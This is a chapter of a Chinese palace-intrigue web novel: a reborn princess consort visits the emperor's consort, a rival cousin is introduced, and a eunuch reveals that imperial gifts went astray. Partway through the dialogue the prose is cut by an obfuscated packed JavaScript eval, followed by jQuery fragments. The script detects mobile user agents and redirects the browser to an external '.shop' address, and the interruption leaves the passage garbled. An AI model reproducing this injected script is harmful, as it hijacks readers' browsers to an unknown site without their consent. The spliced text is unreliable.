陆芍爱撒娇,爱胡搅蛮缠,常让元信不知所措只能无奈叹气,元信想她身子还不舒服,又这么爱娇,若是在皇嫂面前失了礼数可怎么办。
想来想去,元信也没别的办法,他只能到时候自己请罪吧,难道还真能苛责她,这娇娇女郎,只要说她一句,那双眼睛就雾蒙蒙的,委屈巴巴的要哭,到时候还得他哄。
“臣妇给贵妃娘子请安,娘子长乐无极。”
陆芍行了个外命妇的半礼,声音清越规规矩矩,元信一呆。
南宫氏是贵妃,乃是正一品内命妇,陆芍这个魏王妃也是一品,看着品级是一样的,但外命妇的地位跟内命妇没法比,王妃便是见了皇帝的才人宝林也得礼待。
南宫贵妃笑着牵陆芍的手:“这就是四弟妹,快叫本宫好生瞧瞧。”
待看清陆芍的脸,南宫贵妃顿了顿:“真是生的花容月貌,把咱们元家女孩都比下去了,咱们进内室去,今日叫小厨房准备了四弟最爱吃的。”
陆芍其实有些不适应南宫贵妃这么热情,如此平易近人有意亲近的样子。
毕竟上辈子,她是元义的妻,自己却是元义的妾,那是她要侍奉的主母,元义也一而再再而三告诉她,要尊重南宫氏这个大夫人,不可仗着自己是陆氏女,是前朝郡主就不把主母放在眼里。
陆芍有些出神,这种场合她不该如此,面对的还是曾经需要自己打起十二分精神应对的南宫氏,但这真的很难。
“怎么了弟妹,这是害羞啦?还是害怕?不用觉得不自在,咱们是一家人,四弟以后长年在外征战,你在汴京,有什么需要的心里委屈的,尽可进宫跟本宫说。”
南宫贵妃目光关切,陆芍摇摇头:“贵妃娘子平易近人,又关心臣妇,臣妇怎会害怕,就是……”
元信走了进来,刚才南宫贵妃携着她的手进内室,他在外面没进来也不知在做什么,此时进来手里揣了一个手炉,交给陆芍捧着,顺势在她身边坐下,动作极其自然。
南宫贵妃挑眉:“瞧瞧本宫这四弟,娶了妻也知道疼人了,到底是长大了,不是昔日那个跟在嫂嫂身后要糖吃的小孩子了。”
元信红着脸,下意识想要反驳几句,还不是因为陆芍娇气,这也是没办法,谁让他答应皇兄要照顾好陆氏女儿,而且既然成了婚怎能不负责任,余光瞥见陆芍怔然,这状似辩解实则是自打自的脸的话,没能说出口。
手被碰了碰,元信在看着她,目光关切,陆芍回过神,覆上他的手,低声说了一声没事。
南宫贵妃将两人互动尽收眼底,眼中略过一阵冷意,很快被她压下去,任谁看她依旧是那个处事周到的贤惠贵妃,得弟妹信任的长嫂。
陆芍不是有意怠慢,她是在疑惑,之前得知汴京的状况,她就一直没想明白,南宫氏怎么会是贵妃呢,这辈子因为陆家归顺,元义称帝时间早了好些年,南宫氏一直都是他青梅竹马,一路扶持走过来的正室嫡妻,上辈子元义一登基,南宫氏顺理成章就被封了皇后,这辈子却只是贵妃,最让人诧异的是,南宫氏居然无子。
上辈子她跟元义只有一个长子,却备受元义看重,一登基就封了长子为太子。
这些与上辈子不一样的地方让她很是警惕,南宫氏住的岁羽宫倒是跟上辈子没有什么不同,一如既往的朴素不张扬。
南宫贵妃没封后也在那些老臣意料之外,元义不近女色,后院人口简单,这些年一直都是南宫氏主持中馈打理后院,跟随元义起家那些旧臣哪个没受过南宫氏照拂,早就把她当成主母,当成大夏未来的女主人,可元义登基却只封南宫氏为贵妃,理由也很充足,她无子,南宫家虽是河西名门,却早已落魄,当初进门时依的是侧夫人礼。
元义有理有据,旧臣们只能作罢,若是前朝的事他们还能争一争,谁不知元义最厌恶旁人插手自己后宅事。
陆芍以为是因为无子,元义不好封后,毕竟此人最讲究嫡嫡道道,看重规矩,只要等南宫氏有孕或是再过些日子,众臣知晓南宫氏贤惠,就会力排众议封后呢,谁知元义登基到现在快两年,依旧毫无动静。
南宫贵妃身边还跟着一个着花鸟裙的姑娘。
“这是安家表妹,小时候你们还见过呢,今日也是头一回进宫,本宫想着都是自家人,便一起用个午膳,你们都是年轻姑娘家,也能说到一起去。”
安家表妹?此人陆芍也不陌生,上辈子她也是元义的妃嫔。
元信面色有些凝重,南宫贵妃笑道:“你担心什么,莫非怕对弟妹没法交代?放心吧,如今你娶妻,谁还会像之前那样催着给你相看,安家表妹是要进宫做你嫂子的。”
“这,那就先恭喜安家表妹了。”
一顿饭几人吃的各有心思,过了一会儿,紫宸殿的小公公来了,送来了二十匹缎子,金银首饰十件。
小公公还没说这是给谁的赏赐,南宫贵妃便笑道:“陛下心里到底还记挂着咱们,弟妹和安表妹都是年轻姑娘,你们先去挑挑,选选鲜亮颜色。”
陆芍和安表妹谢过贵妃,便去挑料子,元信犹豫再三:“嫂嫂,安家表妹进宫,您同意了?她是母后内侄女,若是入宫……”
威胁会很大,倘若能再生下孩子,怕是南宫氏无论多贤惠,太后也不会站在她那边了。
南宫贵妃轻叹:“我同不同意,重要吗,我膝下无一子半女,怎能拦着别的女子为陛下开枝散叶。”
“您为皇兄付出那么多,这么多年贤惠至此从未犯错,皇兄不会为了一个年轻姑娘,把你抛到脑后的。”
南宫贵妃忽然抹了抹眼泪,低声道:“四弟,你也不是外人,嫂嫂不瞒着你,这些年,你皇兄越来越不喜欢我,连我院子都不想进了,我又能怎样呢,还不是由着你皇兄。”
元信不忿:“封后的事,南宫大人没联合陇西老臣们上书?”
南宫贵妃更加难过:“联合了,被压下去了,因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585038|205200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此事,你皇兄两个月未曾见我,四弟,嫂嫂人老珠黄不得宠了,是不是我们南宫家的女儿都不招人喜欢呢,你也没娶秋儿,你可知秋儿对你……”
元信更加尴尬:“秋妹妹她,您替臣弟跟她说一声,都是臣弟的错,小时候说的婚事不过是长辈的玩笑话,怎能当真。”
“这是珍珠纱和雨丝锦,都是宫中贡缎,好珍贵呢。”
珍贵吗?陆芍瞥了一眼,兴致缺缺,在她看来也不过是寻常料子,上辈子她有好些不觉得如何珍贵。
“王妃娘子先选?”安家姑娘带着一点试探,一点怯怯,却被陆芍告知,她选就好。
安家姑娘不明所以,陆芍身上穿的鹅黄衣裳,料子也很好,是云锦中的上品,可云锦有得卖,这些可都是贡缎,没宫里赏赐买都没去买,陆芍虽是魏王妃,可身上穿的不也是随手能买到的大路货,何必装的云淡风轻不争不抢呢:“陛下对贵妃娘子真好,这些都是赏给娘子的,今日若不是得娘子恩典,我们哪能用得上这么好的料子呢。”
这句话陆芍倒是挺赞同的,元义对自己发妻是没的说的好,满后宫嫔妃,不论生的多美,出身多高贵,也越不过这位元后去。
陆芍礼节性微笑,又说了第二句随她先选,脚步轻轻地挪到内殿去,她满心都在元信身上,她可没忘,上辈子的南宫氏一直想把自己表妹嫁给元信,那姑娘跟元信也算青梅竹马,让南宫氏跟元信单独说话,她不放心。
南宫贵妃脸上带着柔和微笑:“弟妹这么快就挑好了?”
陆芍神色谦逊,说自己成了婚的女子,怎好跟安家姑娘相争,安姑娘未嫁,正是爱鲜亮的时候,叫她先选。
此话倒是叫南宫贵妃意外,素听闻陆家宠女,把唯一的女儿骄纵不像样,眼前这位还是前朝郡主呢,居然这么懂事嘛。
终于熬到出宫,陆芍松了一口气,跟元义没能见面,真是再好不过,她也不会有太大压力,在马车上,她蹑手蹑脚蹭到元信身边,开始问他,南宫贵妃私下跟他说了什么,元信顿住,立时为难起来。
……
小太监回了紫宸殿,苦恼极了,哭丧着脸,被曹升一把拽到角落处数落了一顿,说他作死,在陛下面前当差还敢没精打采的。
小太监真是有苦难言:“师父,陛下赏给魏王妃的东西,被贵妃娘子分给安家姑娘了些。”
曹升气的拧小太监的耳朵:“叫你就办这么一件差事你也能办砸,以后如何在陛下面前得脸。”
小太监冤枉死了:“奴才刚到岁羽宫,话还没说完呢,贵妃娘子就以为是赏给自己的,还要魏王妃和安家姑娘去挑选,奴才怎么敢说这不是赏给她的,这不是打贵妃的脸。”
陛下是不能得罪的人,贵妃也不是能得罪的人阿,那可是后宫之主,凤印都在她手上。
曹升恨铁不成钢,啐了一口冷笑:“行了,别哭丧着脸。”
宫里以后谁说了算,还有的争呢。